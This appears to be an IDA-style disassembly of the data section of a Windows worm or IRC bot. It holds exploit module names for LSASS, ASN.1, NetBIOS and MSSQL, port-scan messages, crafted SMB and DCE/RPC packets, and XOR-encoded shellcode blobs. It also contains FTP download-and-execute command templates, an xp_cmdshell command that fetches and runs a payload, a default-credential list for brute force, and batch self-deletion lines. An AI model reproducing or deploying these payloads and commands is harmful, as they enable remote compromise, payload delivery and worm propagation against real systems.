		dd 656E0000h, 35343474h, 6 dup(0)
		dd 1BDh, 401FEBh, 0
		dd 1, 0
aLsass		db 'lsass',0
		align 4
		dd 736C0000h, 737361h, 6 dup(0)
		dd 1BDh, 401C8Ah, 0
		dd 1, 0
aAsn445		db 'asn445',0
		align 4
		dd 73610000h, 3534346Eh, 6 dup(0)
		dd 1BDh, 401758h, 0
		dd 1, 0
aAsn139		db 'asn139',0
		align 4
		dd 73610000h, 3933316Eh, 6 dup(0)
		dd 8Bh,	401758h, 0
		dd 1, 0
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 4018D4h, 0
		dd 1, 0
aMssql		db 'mssql',0
		align 4
		dd 736D0000h, 6C7173h, 6 dup(0)
		dd 599h, 401D43h, 0
		dd 1, 2Bh dup(0)
aAdvscanSSPortS	db 'advscan(%s): %s port scan %s:%d [delay %d sec] [%d min] [%d threa'
					; DATA XREF: sub_421170+8F8o
		db 'ds]',0
		align 10h
		dd 3 dup(0)
aSequential	db 'sequential',0       ; DATA XREF: sub_421170+8B8o
		align 4
		dd 0
aRandom		db 'random',0           ; DATA XREF: sub_421170+8B1o
		align 4
aScanNoIpSpecif	db 'scan: no ip specified',0 ; DATA XREF: sub_421170+765o
		align 10h
aB		db ' -b',0              ; DATA XREF: sub_421170+74Co
aA		db ' -a',0              ; DATA XREF: sub_421170+73Co
					; sub_421170+7A8o ...
aR		db ' -r',0              ; DATA XREF: sub_421170:loc_42189Co
					; sub_421170+7EAo
aScanInvalidPor	db 'scan: invalid port',0 ; DATA XREF: sub_421170+645o
		align 10h
		dd 0
aTotalD		db ' total: %d',0       ; DATA XREF: sub_421170+397o
		align 10h
		dd 0
aSD		db ' %s: %d,',0         ; DATA XREF: sub_421170+35Fo
		align 10h
aScanStats	db 'scan: stats:',0     ; DATA XREF: sub_421170+336o
		align 10h
aScanTooManyThr	db 'scan: too many threads (%s)',0 ; DATA XREF: sub_421170+275o
		dd 2 dup(0)
aScanCouldnTSto	db 'scan: couldn',27h,'t stop',0 ; DATA XREF: sub_421170+1DAo
		dd 0
aScanStoppedDTh	db 'scan: stopped (%d threads)',0 ; DATA XREF: sub_421170+197o
		align 4
		dd 0
aFtpPortDTotalS	db 'ftp: port: %d, total sends: %d',0 ; DATA XREF: sub_421170+140o
		align 4
		dd 2 dup(0)
aScanNotStarted	db 'scan: not started',0 ; DATA XREF: sub_421170+B2o
		align 4
		dd 0
aScanCipS	db 'scan: cip (%s)',0   ; DATA XREF: sub_421170+6Do
		align 10h
aSocketClosed_	db 'Socket closed.',0   ; DATA XREF: _294ADE7B:loc_422253o
		align 10h
		dd 0
aRecvfromSocket	db 'recvfrom() socket failed',0 ; DATA XREF: _294ADE7B:loc_422232o
		align 10h
		dd 0
aSocketOpen_	db 'Socket open.',0     ; DATA XREF: _294ADE7B:00422215o
		align 4
aSendtoSocketFa	db 'sendto() socket failed. sent = %d <%d>.',0
					; DATA XREF: _294ADE7B:00422185o
		dd 2 dup(0)
aSocketOpenFail	db 'socket open failed',0 ; DATA XREF: _294ADE7B:0042214Fo
		align 4
		dd 0
aScanIpSPortDIs	db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: _294ADE7B:0042242Ao
		align 10h
		dd 0
aScanIpSDScanTh	db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: _294ADE7B:004223C6o
		dd 3 dup(0)
aScanFinishedAt	db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0
					; DATA XREF: _294ADE7B:004228C7o
		align 10h
		dd 3 dup(0)
aScanFailedToSt	db '[SCAN]: Failed to start worker thread, error: <%d>.',0
					; DATA XREF: _294ADE7B:00422816o
		dd 3 dup(0)
aScanSDScanThre	db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: _294ADE7B:0042275Fo
		dd 3 dup(0)
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_422F30+BDo
		align 4
dword_43C8D4	dd 10FF8h, 0		; DATA XREF: sub_422F30+7Bo
dword_43C8DC	dd 10FF8h		; DATA XREF: sub_422F30+8Bo
dword_43C8E0	dd 7FFDF020h, 0		; DATA XREF: sub_422F30+17Fo
dword_43C8E8	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_423580+50o
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_43C970	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_423580+3Co
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_43C9A0	dd 0			; DATA XREF: sub_423580+67r
dword_43C9A4	dd 800000D4h		; DATA XREF: sub_423580+6Fr
		dd 0
dword_43C9AC	dd 66575653h, 80EC81h, 0EDE8E689h, 0FF000000h, 12096836h
					; DATA XREF: _294ADE7B:00423795o
		dd 0F7E863D6h, 89000000h, 0A2E80846h, 0FF000000h, 6B680476h
		dd 0E8CA2BD0h, 0E2h, 0E80C4689h, 3Fh, 680476FFh, 4C0297FAh
		dd 0CDE8h, 68DB3100h, 410h, 89D0FF53h, 768B56C3h, 0B9C78910h
		dd 410h, 315EA4F3h, 505050C0h, 0FF505053h, 468B0C56h, 0C4816608h
		dd 5E5F0080h, 60E0FF5Bh, 23E8h,	24448B00h, 7C588D0Ch, 53C4383h
		dd 284381h, 81000010h, 0F0002863h, 48BFFFFh, 14C48324h
		dd 0C3C03150h, 0FF64D231h, 22896432h, 90B8DB31h, 31429042h
		dd 8902B1C9h, 74AFF3DFh, 0F3EB4303h, 64107E89h,	6158028Fh
		dd 20BF60C3h, 8B7FFDF0h, 8468B1Fh, 7F8B0789h, 78C781F8h
		dd 89000001h, 741939F9h, 0EB098B04h, 39FA89F8h,	574045Ah
		dd 0EB04528Bh, 891189F6h, 43C6044Ah, 0C36101FDh, 0FDF00CA1h
		dd 1C408B7Fh, 8908588Bh, 8B008B1Eh, 46890840h, 8B60C304h
		dd 8B28246Ch, 548B3C45h, 0EA017805h, 8B184A8Bh,	0EB01205Ah
		dd 8B4938E3h, 0EE018B34h, 0C031FF31h, 0E038ACFCh, 0CFC10774h
		dd 0EBC7010Dh, 247C3BF4h, 8BE17524h, 0EB01245Ah, 4B0C8B66h
		dd 11C5A8Bh, 8B048BEBh,	4489E801h, 0C2611C24h, 0FEEB0008h
		dd 0
dword_43CB14	dd 0F254C481h, 0E8FCFFFFh, 46h,	8B3C458Bh, 178057Ch, 184F8BEFh
					; DATA XREF: _294ADE7B:0042372Eo
		dd 1205F8Bh, 492EE3EBh,	18B348Bh, 99C031EEh, 74C084ACh
		dd 0DCAC107h, 0F4EBC201h, 424543Bh, 5F8BE375h, 66EB0124h
		dd 8B4B0C8Bh, 0EB011C5Fh, 18B1C8Bh, 245C89EBh, 0C031C304h
		dd 30408B64h, 0F78C085h, 8B0C408Bh, 8BAD1C70h, 0BE90868h
		dd 8B000000h, 7C053440h, 8B000000h, 315F3C68h, 0EB5660F6h
		dd 0CEEF680Dh, 986860E0h, 570E8AFEh, 0EEE8E7FFh, 0FFFFFFh
		dd 25h dup(0)
dword_43CC38	dd 23h			; DATA XREF: sub_422E80+1Do
dword_43CC3C	dd 60h			; DATA XREF: sub_422F30+38Do
dword_43CC40	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_422F30+35Ao
dword_43CC4C	dd 0A1h			; DATA XREF: sub_422F30+2F4o
dword_43CC50	dd 3			; DATA XREF: sub_422F30+28Ao
aCccc		db 'CCCC',0             ; DATA XREF: sub_422F30+16Do
		align 4
dword_43CC5C	dd 909006EBh, 90909090h, 0 ; DATA XREF:	sub_422F30+100o
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d >> ii &echo user a a >> ii &echo binary >>'
					; DATA XREF: _294ADE7B:00423770o
					; sub_4255E0+CFo
		db ' ii &echo get %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &'
		db '%s',0Dh,0Ah,0
		align 10h
		dd 8 dup(0)
		dd 4B5B10EBh, 0B966C933h, 34800125h, 0FAE2990Bh, 0EBE805EBh
		dd 70FFFFFFh, 99999962h, 0A938FDC6h, 12999999h,	0E91295D9h
		dd 0F1123485h, 0F36E1291h, 271C09Dh, 7B999999h,	0ABAAF160h
		dd 0EEF19999h, 0CDC6ABEAh, 71128F66h, 71C09DF3h, 9999991Bh
		dd 7518607Bh, 99999809h, 9898F1CDh, 0CF669999h,	0C9C9C989h
		dd 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h, 0F1989999h, 4B9D999Bh
		dd 89F35512h, 0CF66CAC8h, 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh
		dd 0CD751AA9h, 0F3BDA514h, 7B32C08Ch, 0BDDD5F64h, 0DD67DD89h
		dd 0C510A4BDh, 0C510D1BDh, 0C510D5BDh, 0DD14C9BDh, 0C9CD89BDh
		dd 0F3C8C8C8h, 66C8C898h, 66C8A9EFh, 55129DCFh,	0A86666F3h
		dd 0CA91CF66h, 6685CF66h, 0CFC895CFh, 12A5DC12h, 9AE1B1CDh
		dd 0EB12CB4Ch, 0AA6C9AB9h, 34D8D050h, 42AA5C9Ah, 0A3892796h
		dd 5891ED4Fh, 439A9452h, 0A26872D9h, 0C37EEC86h, 9ABDC312h
		dd 9512FF44h, 85C312D2h, 9D12449Ah, 325C9A12h, 715AC0C7h
		dd 66666699h, 7597D717h, 8F2A67EBh, 579C4034h, 0F9795776h
		dd 0A2657452h, 346C9040h, 0F9336075h, 0E05FE07Eh, 0
dword_43CE50	dd 4A5A10EBh, 0B966C933h, 3480017Dh, 0FAE2990Ah, 0EBE805EBh
					; DATA XREF: sub_423DF0+12Bo
					; sub_423DF0+135o ...
		dd 70FFFFFFh, 99999895h, 0A938FDC3h, 12999999h,	0E91295D9h
		dd 0D9123485h, 12411291h, 0ED12A5EAh, 6A9AE187h, 9AB9E712h
		dd 8DD71262h, 0CECF74AAh, 9AA612C8h, 0F36B1262h, 3F6AC097h
		dd 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh, 125412C7h, 5A9ABDDFh
		dd 589A7848h, 12FF50AAh, 85DF1291h, 78585A9Ah, 12589A9Bh
		dd 125A9A99h, 1A6E1263h, 4912975Fh, 71C09AF3h, 9999991Eh
		dd 0CB945F1Ah, 65CE66CFh, 0F34112C3h, 0ED71C09Ch, 0C9999999h
		dd 0F3C9C9C9h, 669BF398h, 411275CEh, 999B9E5Eh
word_43CF00	dw 4B9Dh		; DATA XREF: sub_423DF0+105w
		dw 59AAh
		dd 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh,	66CAC9C9h
		dd 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h,	10627B17h
		dd 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h, 0AACFC989h
		dd 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h, 0C8C9A5DEh
		dd 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h, 591C3559h
		dd 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h,	66677671h
		dd 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh
		dd 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h, 0F8FCEBF1h
		dd 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h, 0AAC6ABEAh
		dd 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h, 0F0F599FDh
		dd 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh, 0FAF6EAFCh
		dd 99EDFCF2h, 0
dword_43CFE8	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: _294ADE7B:00424452o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_43D074	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: _294ADE7B:00424487o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
dword_43D120	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: _294ADE7B:004244B6o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_43D200	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_423DF0+5Do
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
		db 43h,	0, 24h
dword_43D257	dd 3F000000h		; DATA XREF: sub_423DF0+91r
dword_43D25B	dd 3F3F3F3Fh		; DATA XREF: sub_423DF0+A4r
byte_43D25F	db 0			; DATA XREF: sub_423DF0+B4r
		dd 0
dword_43D264	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_423DF0+2C2o
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_43D2D0	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_423DF0+2F5o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_43D374	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_423DF0+3FAo
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_43D3F4	dd offset sub_401492+3	; DATA XREF: sub_423DF0+42Bo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707A+2
		dd 1, 0
		dd 1, 0
		dd offset loc_40707A+2
		dd 1, 0
		dd 1, 0
		dd offset loc_40707A+2
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_43D488	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_423DF0+335o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_43D4F4	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_423DF0+368o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_43D568	dd 0			; DATA XREF: sub_423DF0+398o
		dd offset byte_40A890+0Ah
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset byte_40A890+0Ah
		dd 1, 0
		dd 1, 0
		dd offset byte_40A890+0Ah
		dd 1, 0
		dd 1, 0
		dd offset byte_40A890+0Ah
		dd 1, 0
		dd 1, 3	dup(0)
dword_43D5F4	dd 1004600h		; DATA XREF: sub_423DF0+122r
					; sub_423DF0+24Fr
		dd 1, 7515123Ch, 2, 751C123Ch, 75h dup(0)
dword_43D7DC	dd 61622E63h, 0A0D74h, 0 ; DATA	XREF: sub_4239C0+2C9o
aEchoExitYC_bat	db 'echo exit /y >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4239C0+2A0o
		align 10h
		dd 0
aEchoDelFC_batC	db 'echo del /F c.bat >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4239C0+277o
		dd 2 dup(0)
aEchoDel_pifC_b	db 'echo del .pif >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4239C0+24Eo
		dd 0
aEchoSC_bat	db 'echo %s >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4239C0+221o
		align 4
		dd 0
aEchoFtpNVS_pif	db 'echo ftp -n -v -s:.pif >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4239C0+1E9o
		align 10h
		dd 0
aEcho@echoOffC_	db 'echo @echo off >c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4239C0+1BCo
		align 10h
aEchoBye_pif	db 'echo bye>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4239C0+18Fo
		align 8
aEchoGetS_pif	db 'echo GET %s>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4239C0+162o
		align 10h
		dd 0
aEchoBinary_pif	db 'echo binary>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4239C0+12Ao
		align 10h
aEchoUserAA_pif	db 'echo user a a>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4239C0+FDo
		align 4
		dd 0
aEchoOpenSD_pif	db 'echo open %s %d>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4239C0+D0o
		align 8
dword_43D928	dd 6EB06EBh		; DATA XREF: sub_423DF0+15Dr
		align 10h
dword_43D930	dd 73255C5Ch, 6370695Ch, 24h ; DATA XREF: sub_423DF0+29o
					; _294ADE7B:00424CC2o
dword_43D93C	dd 1CEC8166h		; DATA XREF: sub_423DF0+Ar
dword_43D940	dd 0E4FF07h		; DATA XREF: sub_423DF0+Fr
		align 8
aExecMaster___0	db 'EXEC master..xp_cmdshell ',27h,'%s',27h,0
					; DATA XREF: _294ADE7B:0042483Do
		align 4
		dd 0
; aExecMaster(long long, *)
aExecMaster__xp	db 'EXEC master..xp_cmdshell ',27h,'del eq&echo open %s %s >> eq&echo us'
					; DATA XREF: _294ADE7B:00424800o
		db 'er a a >> eq &echo get %s >> eq &echo quit >> eq &ftp -n -s:eq &%'
		db 's&del eq',0Dh,0Ah
		db 27h,0
		align 4
		dd 7 dup(0)
aDriverSqlServe	db 'DRIVER={SQL Server};SERVER=%s,%d;UID=%s;PWD=%s;%s',0
					; DATA XREF: _294ADE7B:0042473Ao
		align 10h
aH4x0r		db 'h4x0r',0            ; DATA XREF: _294ADE7B:00424670o
		align 4
aAdmin		db 'admin',0            ; DATA XREF: _294ADE7B:0042464Co
		align 10h
aSa		db 'sa',0               ; DATA XREF: _294ADE7B:00424647o
		align 4
aRoot		db 'root',0             ; DATA XREF: _294ADE7B:0042462Bo
		align 4
dword_43DA6C	dd 30B0005h, 10h, 48h, 0 ; DATA	XREF: _294ADE7B:00424D74o
		dd 16D016D0h, 0
		dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh
		dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_43DAB8	dd 3000005h, 10h, 830h,	0 ; DATA XREF: _294ADE7B:00424C4Co
		dd 818h, 1F0000h, 0FFFFFFFFh, 1, 0
		dd 1, 2	dup(0)
dword_43DAE8	dd 0FAh, 2, 0		; DATA XREF: _294ADE7B:00424C95o
		dd 2, 0
		dd 0FAh, 2 dup(0)
dword_43DB08	dd 0D959516Ah, 2474D9EEh, 73815BF4h, 9097A813h,	0FCEB8388h
					; DATA XREF: _294ADE7B:00424C0Ao
		dd 5329F4E2h, 6857676Fh, 7CC274D4h, 685160DDh, 1CC8776Fh
		dd 1C8CACFCh, 0EB23B4D5h, 78A9F095h, 1CB0C71Bh,	7CA9A8CFh
		dd 1C9C03D9h, 57996691h, 572C2409h, 5D698FE4h, 7C6A899Dh
		dd 0B3FCB364h, 1C4DFDB8h, 7CA9ACCFh, 0DCA403F6h, 96B4D71Bh
		dd 1C848B7Bh, 8B8CE419h, 4C994BF1h, 0A7EB03F4h,	1CA4C81Bh
		dd 1C0594E0h, 0FFF680D0h, 7BA6C61Eh, 0F17E77C0h, 0A4C0EEC3h
		dd 0E4DFE0A2h, 68FCD7A2h, 7A63E040h, 68F8B36Ch,	7221D746h
		dd 9F4509F6h, 95C2DD92h, 4EC0586Fh, 0C0057D99h,	0C4FB5E6Fh
		dd 0D4FBDBC3h, 68FBCBC3h, 86C0EE40h, 1EFBEECCh,	33C01D71h
		dd 0C06FF88Ah, 87C25E6Fh, 4757DDC1h, 0B9052CF8h, 4157DF79h
		dd 4757DDC3h, 11E16DF8h, 4157DFD9h, 0C2FCDCC0h,	0FF3B586Fh
		dd 0EE6EF177h, 0C27E77C7h, 0FDCE586Fh, 0F4C0EEF4h, 0FD4D01FDh
		dd 5B81D1C0h, 0D3C26F19h, 57996A19h, 0D5562263h, 0BBEA76BDh
		dd 0AFD20503h, 0FF03233Bh, 811B76E2h, 68ECFD6Fh, 0C5FFD346h
		dd 0FDF9D9C1h, 0C2F9D991h, 0FF7877C1h, 59AD513Dh, 0FD7E77C3h
		dd 689F776Fh, 6BFF0340h, 68CC4C13h, 4757DA46h, 776667F8h
		dd 4157DBF0h, 586Fh, 19h dup(0)
aOpenSDIiEchoUs	db 'open %s %d >> ii &echo user a a >> ii &echo binary >> ii &echo ge'
					; DATA XREF: sub_4249E0+D6o
		db 't %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
		align 4
		dd 6 dup(0)
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: _294ADE7B:00424D24o
		align 10h
		dd 0
word_43DD74	dw 2EBh			; DATA XREF: _294ADE7B:00424CA1r
		align 4
dword_43DD78	dd 215h			; DATA XREF: _294ADE7B:00424C53r
		align 10h
dword_43DD80	dd 20804h		; DATA XREF: _294ADE7B:00424C38r
		align 8
dword_43DD88	dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh ; DATA XREF: sub_425140+CCo
		db 66h,	0B9h
word_43DD96	dw 0FFFFh		; DATA XREF: sub_425140+D3w
		db 80h,	73h, 0Eh
byte_43DD9B	db 0FFh			; DATA XREF: sub_425140+DAw
		dd 0F9E243h
dword_43DDA0	dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh ; DATA XREF: sub_425140+A7o
		db 0B1h
byte_43DDAD	db 0FFh			; DATA XREF: sub_425140+AEw
		dw 7380h
		db 0Ch
byte_43DDB1	db 0FFh			; DATA XREF: sub_425140+B4w
		dw 0E243h
		dd 0F9h
dword_43DDB8	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_424ED0+43o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_43DE1C	dd 12h			; DATA XREF: sub_424ED0+50w
		dd 70746674h, 6578652Eh, 20692D20h
dword_43DE2C	dd 74656720h		; DATA XREF: sub_424ED0+94r
byte_43DE30	db 20h			; DATA XREF: sub_424ED0+A2r
dword_43DE31	dd 0E8006A00h		; DATA XREF: sub_424ED0+C4r
dword_43DE35	dd 17h			; DATA XREF: sub_424ED0+62w
					; sub_424ED0+D2r
dword_43DE39	dd 0E8C30175h		; DATA XREF: sub_424ED0+DEr
dword_43DE3D	dd 1			; DATA XREF: sub_424ED0+59w
					; sub_424ED0+E7r
byte_43DE41	db 0, 6Ah, 0		; DATA XREF: sub_424ED0+110o
		dd 7E8h
		db 0, 0Fh, 84h
dword_43DE4B	dd 0FFFFFFEDh		; DATA XREF: sub_424ED0+6Fw
		db 0C3h
		dd 505D5B58h, 3354EC83h, 8DFC8BC0h, 0D78B4048h,	44B0AAF3h
		dd 515257ABh, 6A286A51h, 55515101h, 83D6FF53h, 0C08554C4h
		dd 0C3h, 0Ch dup(0)
dword_43DEAC	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_425830+72o
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 32h dup(69696969h)
		db 69h
dword_43E7AD	dd 69696969h		; DATA XREF: sub_404890+98Fr
		db 3 dup(69h)
		dd 0Ch dup(69696969h), 6A010169h, 40h dup(6A6A6A6Ah), 6B6B0101h
		dd 3Fh dup(6B6B6B6Bh), 16B6B6Bh, 6C6C6C01h, 8 dup(6C6C6C6Ch)
		dd 41416C6Ch, 100D06EBh, 6D6D501Eh, 0E983C933h,	0D9EED9B0h
		dd 5BF42474h, 0C8137381h, 83877FD9h, 0F4E2FCEBh, 0CA94B334h
		dd 78802020h, 0EBF4B937h, 0C2F4FDECh, 820352F4h, 0C90D8B0h
		dd 0D8F4C187h, 0CE94D8E8h, 86F4ED43h, 1EBFE826h, 0F3BF5D64h
		dd 8AB518CFh, 73941BC9h, 0AF5B8DF3h, 0D8F43CBDh, 0E194D8ECh
		dd 0C34D543h, 6C7EC597h, 0EF4F5CBh, 0E663FDA4h,	0E3A4E80Bh
		dd 0C4F9A43h, 0F7F4D588h, 0C7F474D4h, 91787C0h,	0D793D786h
		dd 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h, 57808D97h, 7B9212A0h
		dd 518089F3h, 0E19A5097h, 85773449h, 787DB39Dh,	8EA6B118h
		dd 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh, 57808A8Bh, 0EC5EB1AEh
		dd 66F68AAEh, 9DDBB15Dh, 78281EB8h, 0D66FB31Eh,	0EFAF269Dh
		dd 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh, 0CEF9902Dh, 0D7A9269Fh
		dd 782A8D9Ch, 60174A18h, 0D0061FB1h, 782A0F37h,	0E315BF18h
		dd 0EA1CB1AEh, 0D7153C41h, 0EB3F091h, 0E3BB32Fh, 74BFE82Ah
		dd 0AA3D2762h, 14539B36h, 2C47A345h, 0F5177263h, 78696A36h
		dd 51809DBDh, 0D62D8E93h, 86158899h, 0D62A8899h, 2A170937h
		dd 0D4B1DC11h, 78150F37h, 5780EE37h, 4838E43h, 5180BD0Ch
		dd 0EFAF269Ah, 0D87B5338h, 78A9269Bh, 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
